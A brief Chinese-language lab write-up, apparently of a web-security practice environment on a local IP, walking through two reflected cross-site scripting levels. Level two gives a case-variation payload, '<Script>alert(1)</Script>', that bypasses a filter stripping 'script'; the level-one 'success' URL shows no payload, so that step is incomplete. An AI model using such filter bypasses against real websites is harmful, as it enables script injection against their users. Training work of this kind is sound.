第一关
http://192.168.1.142/xss/example1.php?name=hacker
观察到url参数在页面显示,尝试xss
http://192.168.1.142/xss/example1.php?name=hacker
成功
第二关
去掉了script
可以使用大小写绕过,也可以使用其他语句绕过
使用大小写绕过
192.168.1.142/xss/example2.php?name=hacker<Script>alert(1)</Script>
递归方法